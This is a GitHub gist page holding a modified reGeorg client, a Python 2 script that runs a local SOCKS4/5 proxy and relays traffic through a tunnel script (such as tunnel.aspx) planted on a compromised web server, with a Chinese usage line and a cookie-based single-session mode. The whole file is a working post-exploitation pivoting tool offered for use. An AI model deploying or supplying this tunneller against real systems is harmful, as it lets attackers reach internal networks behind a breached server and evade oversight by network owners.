Last active
September 19, 2019 07:39
-
-
Save adon90/2c9d08e89c48b60133293e49da13d4d3 to your computer and use it in GitHub Desktop.
Revisions
-
adon90 revised this gist
Sep 19, 2019 . 1 changed file with 1 addition and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,4 +1,4 @@ # 保存为 re.py ,然后 re.py -u http://xx.com/tunnel.aspx -p 8080 -s "PHPSESSIONID: xxxxxxxxxxxxxxxxxx" #!/usr/bin/env python # -*- coding: utf-8 -*- -
adon90 created this gist
Sep 19, 2019 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,483 @@ 保存为 re.py ,然后 re.py -u http://xx.com/tunnel.aspx -p 8080 -s "PHPSESSIONID: xxxxxxxxxxxxxxxxxx" #!/usr/bin/env python # -*- coding: utf-8 -*- import logging import argparse import signal import sys import atexit import httplib import urllib3 from threading import Thread from urlparse import urlparse from socket import * from threading import Thread from time import sleep import re import random #import struct # Constants SOCKTIMEOUT = 5 RESENDTIMEOUT=300 VER="\x05" METHOD="\x00" SUCCESS="\x00" SOCKFAIL="\x01" NETWORKFAIL="\x02" HOSTFAIL="\x04" REFUSED="\x05" TTLEXPIRED="\x06" UNSUPPORTCMD="\x07" ADDRTYPEUNSPPORT="\x08" UNASSIGNED="\x09" BASICCHECKSTRING = "Georg says, 'All seems fine'" # Globals READBUFSIZE = 1024 #Logging RESET_SEQ = "\033[0m" COLOR_SEQ = "\033[1;%dm" BOLD_SEQ = "\033[1m" BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8) LEVEL = {"INFO" : logging.INFO, "DEBUG" : logging.DEBUG, } logLevel = "INFO" COLORS = { 'WARNING' : YELLOW, 'INFO' : WHITE, 'DEBUG' : BLUE, 'CRITICAL' : YELLOW, 'ERROR' : RED, 'RED' : RED, 'GREEN' : GREEN, 'YELLOW' : YELLOW, 'BLUE' : BLUE, 'MAGENTA' : MAGENTA, 'CYAN' : CYAN, 'WHITE' : WHITE, } def formatter_message(message, use_color = True): if use_color: message = message.replace("$RESET", RESET_SEQ).replace("$BOLD", BOLD_SEQ) else: message = message.replace("$RESET", "").replace("$BOLD", "") return message class ColoredFormatter(logging.Formatter): def __init__(self, msg, use_color = True): logging.Formatter.__init__(self, msg) self.use_color = use_color def format(self, record): levelname = record.levelname if self.use_color and levelname in COLORS: levelname_color = COLOR_SEQ % (30 + COLORS[levelname]) + levelname + RESET_SEQ record.levelname = levelname_color return logging.Formatter.format(self, record) class ColoredLogger(logging.Logger): def __init__(self, name): FORMAT = "[$BOLD%(levelname)-18s$RESET] %(message)s" COLOR_FORMAT = formatter_message(FORMAT, True) logging.Logger.__init__(self, name, logLevel) if (name == "transfer"): COLOR_FORMAT = "\x1b[80D\x1b[1A\x1b[K%s" % COLOR_FORMAT color_formatter = ColoredFormatter(COLOR_FORMAT) console = logging.StreamHandler() console.setFormatter(color_formatter) self.addHandler(console) return logging.setLoggerClass(ColoredLogger) log = logging.getLogger(__name__) transferLog = logging.getLogger("transfer") class SocksCmdNotImplemented(Exception): pass class SocksProtocolNotImplemented(Exception): pass class RemoteConnectionFailed(Exception): pass class session(Thread): def __init__(self,pSocket,connectString,cookies): Thread.__init__(self) self.pSocket = pSocket self.connectString = connectString o = urlparse(connectString) try: self.httpPort = o.port except: if o.scheme == "https": self.httpPort = 443 else: self.httpPort = 80 self.httpScheme = o.scheme self.httpHost = o.netloc.split(":")[0] self.httpPath = o.path self.cookieDic = {} self.cookie = None self.bSingleSessionMode = False if o.scheme == "http": self.httpScheme = urllib3.HTTPConnectionPool else: self.httpScheme = urllib3.HTTPSConnectionPool if cookies: self.bSingleSessionMode = True self.socketID = self.reqRand() for cookie in cookies.split(';'): kv = cookie.strip().split('=') self.cookieDic[kv[0]] = kv[1] def parseSocks5(self,sock): log.debug("SocksVersion5 detected") nmethods,methods=(sock.recv(1),sock.recv(1)) sock.sendall(VER+METHOD) ver=sock.recv(1) if ver=="\x02": # this is a hack for proxychains ver,cmd,rsv,atyp=(sock.recv(1),sock.recv(1),sock.recv(1),sock.recv(1)) else: cmd,rsv,atyp=(sock.recv(1),sock.recv(1),sock.recv(1)) target = None targetPort = None if atyp=="\x01":# IPv4 # Reading 6 bytes for the IP and Port target = sock.recv(4) targetPort = sock.recv(2) target =".".join([str(ord(i)) for i in target]) elif atyp=="\x03":# Hostname targetLen = ord(sock.recv(1)) # hostname length (1 byte) target = sock.recv(targetLen) targetPort = sock.recv(2) target = "".join([unichr(ord(i)) for i in target]) elif atyp=="\x04":# IPv6 target = sock.recv(16) targetPort = sock.recv(2) tmp_addr=[] for i in xrange(len(target)/2): tmp_addr.append(unichr(ord(target[2*i])*256+ord(target[2*i+1]))) target=":".join(tmp_addr) targetPort = ord(targetPort[0])*256+ord(targetPort[1]) if cmd=="\x02":#BIND raise SocksCmdNotImplemented("Socks5 - BIND not implemented") elif cmd=="\x03":#UDP raise SocksCmdNotImplemented("Socks5 - UDP not implemented") elif cmd=="\x01":#CONNECT serverIp = target try: serverIp = gethostbyname(target) except: log.error("oeps") serverIp="".join([chr(int(i)) for i in serverIp.split(".")]) self.cookie = self.setupRemoteSession(target,targetPort) if self.cookie: sock.sendall(VER+SUCCESS+"\x00"+"\x01"+serverIp+chr(targetPort/256)+chr(targetPort%256)) return True else: sock.sendall(VER+REFUSED+"\x00"+"\x01"+serverIp+chr(targetPort/256)+chr(targetPort%256)) raise RemoteConnectionFailed("[%s:%d] Remote failed" %(target,targetPort)) raise SocksCmdNotImplemented("Socks5 - Unknown CMD") def parseSocks4(self,sock): log.debug("SocksVersion4 detected") cmd=sock.recv(1) if cmd == "\x01": # Connect targetPort = sock.recv(2) targetPort = ord(targetPort[0])*256+ord(targetPort[1]) target = sock.recv(4) sock.recv(1) target =".".join([str(ord(i)) for i in target]) serverIp = target try: serverIp = gethostbyname(target) except: log.error("oeps") serverIp="".join([chr(int(i)) for i in serverIp.split(".")]) self.cookie = self.setupRemoteSession(target,targetPort) if self.cookie: sock.sendall(chr(0)+chr(90)+serverIp+chr(targetPort/256)+chr(targetPort%256)) return True else: sock.sendall("\x00"+"\x91"+serverIp+chr(targetPort/256)+chr(targetPort%256)) raise RemoteConnectionFailed("Remote connection failed") else: raise SocksProtocolNotImplemented("Socks4 - Command [%d] Not implemented" % ord(cmd)) def handleSocks(self,sock): # This is where we setup the socks connection ver = sock.recv(1) if ver == "\x05": return self.parseSocks5(sock) elif ver == "\x04": return self.parseSocks4(sock) def cookiesFilter(self,cookie): newcookies = [] if cookie: for x in cookie.split(','): if ';' in x: match = re.findall('((.+?)=(.+?));(\sdomain=(.+);)?',x.strip()) if match: if match[0][4] == self.httpHost or match[0][4] == '': self.cookieDic[match[0][1]] = match[0][2] else: self.cookieDic[x.split('=')[0]] = x.split('=')[1] for k in self.cookieDic.keys(): newcookies.append(k + '=' + self.cookieDic[k]) return '; '.join(newcookies) def reqRand(self): return ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba',10)) def setupRemoteSession(self,target,port): headers = {"X-CMD": "CONNECT", "X-TARGET": target, "X-PORT": port} self.target = target self.port = port if self.bSingleSessionMode: cookie = self.cookiesFilter(None) headers['Cookie'] = cookie headers['socketID'] = self.socketID conns = self.connectString+"?cmd=connect&target={}&port={}&socketID={}".format(target,port,self.socketID) else: conns = self.connectString+"?cmd=connect&target={}&port={}".format(target,port) cookie = None conn = self.httpScheme(host=self.httpHost, port=self.httpPort) #response = conn.request("POST", self.httpPath, params, headers) response = conn.urlopen('POST', conns, headers=headers, body="") if response.status == 200: status = response.getheader("x-status") if status == "OK": cookie = response.getheader("set-cookie") log.info("[%s:%d] HTTP [200]: cookie [%s]" % (self.target,self.port,cookie)) else: if response.getheader("X-ERROR") != None: log.error(response.getheader("X-ERROR")) else: log.error("[%s:%d] HTTP [%d]: [%s]" % (self.target,self.port,response.status,response.getheader("X-ERROR"))) log.error("[%s:%d] RemoteError: %s" % (self.target,self.port,response.data)) conn.close() return self.cookiesFilter(cookie) def closeRemoteSession(self): headers = {"X-CMD": "DISCONNECT", "Cookie":self.cookie} if self.bSingleSessionMode: headers['socketID'] = self.socketID conns = self.httpPath+"?cmd=disconnect&socketID={}".format(self.socketID) else: conns = self.httpPath+"?cmd=disconnect" params="" conn = self.httpScheme(host=self.httpHost, port=self.httpPort) response = conn.request("POST", conns, params, headers) if response.status == 200: log.info("[%s:%d] Connection Terminated" % (self.target,self.port)) conn.close() def reader(self): conn = urllib3.PoolManager() while True: try: if not self.pSocket: break data ="" headers = {"X-CMD": "READ", "Cookie": self.cookie, "Connection": "Keep-Alive"} if self.bSingleSessionMode: headers['socketID'] = self.socketID conns = self.connectString+"?cmd=read&socketID={}".format(self.socketID) else: conns = self.connectString+"?cmd=read" response = conn.urlopen('POST', conns, headers=headers, body="") data = None if response.status == 200: status = response.getheader("x-status") if status == "OK": if response.getheader("set-cookie") != None: self.cookie = self.cookiesFilter(response.getheader("set-cookie")) data = response.data # Yes I know this is horrible, but its a quick fix to issues with tomcat 5.x bugs that have been reported, will find a propper fix laters try: if response.getheader("server").find("Apache-Coyote/1.1") > 0: data = data[:len(data)-1] except: pass if data == None: data="" else: data = None log.error("[%s:%d] HTTP [%d]: Status: [%s]: Message [%s] Shutting down" % (self.target,self.port,response.status,status,response.getheader("X-ERROR"))) else: log.error("[%s:%d] HTTP [%d]: Shutting down" % (self.target,self.port,response.status)) if data == None: # Remote socket closed break if len(data) == 0: sleep(0.1) continue transferLog.info("[%s:%d] <<<< [%d]" % (self.target,self.port,len(data))) self.pSocket.send(data) except Exception,ex: raise ex self.closeRemoteSession() log.debug("[%s:%d] Closing localsocket" % (self.target,self.port)) try: self.pSocket.close() except: log.debug("[%s:%d] Localsocket already closed" % (self.target,self.port)) def writer(self): global READBUFSIZE conn = urllib3.PoolManager() while True: try: self.pSocket.settimeout(1) data = self.pSocket.recv(READBUFSIZE) if not data: break headers = {"X-CMD": "FORWARD", "Cookie": self.cookie,"Content-Type": "application/octet-stream", "Connection":"Keep-Alive"} if self.bSingleSessionMode: headers['socketID'] = self.socketID conns = self.connectString+"?cmd=forward&socketID={}".format(self.socketID) else: conns = self.connectString+"?cmd=forward" response = conn.urlopen('POST', conns, headers=headers, body=data) if response.status == 200: status = response.getheader("x-status") if status == "OK": if response.getheader("set-cookie") != None: self.cookie = self.cookiesFilter(response.getheader("set-cookie")) else: log.error("[%s:%d] HTTP [%d]: Status: [%s]: Message [%s] Shutting down" % (self.target,self.port,response.status,status,response.getheader("x-error"))) break else: log.error("[%s:%d] HTTP [%d]: Shutting down" % (self.target,self.port,response.status)) break transferLog.info("[%s:%d] >>>> [%d]" % (self.target,self.port,len(data))) except timeout: continue except Exception,ex: raise ex break self.closeRemoteSession() log.debug("Closing localsocket") try: self.pSocket.close() except: log.debug("Localsocket already closed") def run(self): try: if self.handleSocks(self.pSocket): log.debug("Staring reader") r = Thread(target=self.reader, args=()) r.start() log.debug("Staring writer") w = Thread(target=self.writer, args=()) w.start() r.join() w.join() except SocksCmdNotImplemented, si: log.error(si.message) self.pSocket.close() except SocksProtocolNotImplemented, spi: log.error(spi.message) self.pSocket.close() except Exception, e: log.error(e.message) self.pSocket.close() def askGeorg(connectString, cookies): headers = {} if cookies: headers = {'Cookie': cookies} connectString = connectString o = urlparse(connectString) try: httpPort = o.port except: if o.scheme == "https": httpPort = 443 else: httpPort = 80 httpScheme = o.scheme httpHost = o.netloc.split(":")[0] httpPath = o.path if o.scheme == "http": httpScheme = urllib3.HTTPConnectionPool else: httpScheme = urllib3.HTTPSConnectionPool conn = httpScheme(host=httpHost, port=httpPort, headers=headers) response = conn.request("GET", httpPath) if response.status == 200: if BASICCHECKSTRING == response.data.strip()[:len(BASICCHECKSTRING)]: log.info(BASICCHECKSTRING) return True conn.close() return False if __name__ == '__main__': print """\033[1m \033[1;33m _____ _____ ______ __|___ |__ ______ _____ _____ ______ | | | ___|| ___| || ___|/ \| | | ___| | \ | ___|| | | || ___|| || \ | | | |__|\__\|______||______| __||______|\_____/|__|\__\|______| |_____| ... every office needs a tool like Georg [email protected] / @_w_m__ [email protected] / @trowalts [email protected] / @kamp_staaldraad \033[0m """ log.setLevel(logging.DEBUG) parser = argparse.ArgumentParser(description='Socks server for reGeorg HTTP(s) tunneller') parser.add_argument("-l","--listen-on",metavar="",help="The default listening address",default="127.0.0.1") parser.add_argument("-p","--listen-port",metavar="",help="The default listening port",type=int,default="8888") parser.add_argument("-r","--read-buff",metavar="",help="Local read buffer, max data to be sent per POST",type=int,default="1024") parser.add_argument("-u","--url",metavar="",required=True,help="The url containing the tunnel script") parser.add_argument("-v","--verbose",metavar="",help="Verbose output[INFO|DEBUG]",default="INFO") parser.add_argument("-s","--single-session-mode",metavar="",help="Single session mode.[Cookie0=0; Cookie1=1]",default=None) args = parser.parse_args() if (LEVEL.has_key(args.verbose)): log.setLevel(LEVEL[args.verbose]) log.info("Log Level set to [%s]" % args.verbose) log.info("Starting socks server [%s:%d], tunnel at [%s]" % (args.listen_on,args.listen_port,args.url)) log.info("Checking if Georg is ready") if not askGeorg(args.url, args.single_session_mode): log.info("Georg is not ready, please check url") exit() READBUFSIZE = args.read_buff servSock = socket(AF_INET,SOCK_STREAM) servSock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) servSock.bind((args.listen_on,args.listen_port)) servSock.listen(1000) while True: try: sock,addr_info=servSock.accept() sock.settimeout(SOCKTIMEOUT) log.debug("Incomming connection") session(sock,args.url,args.single_session_mode).start() except KeyboardInterrupt,ex: break except Exception,e: log.error(e) servSock.close()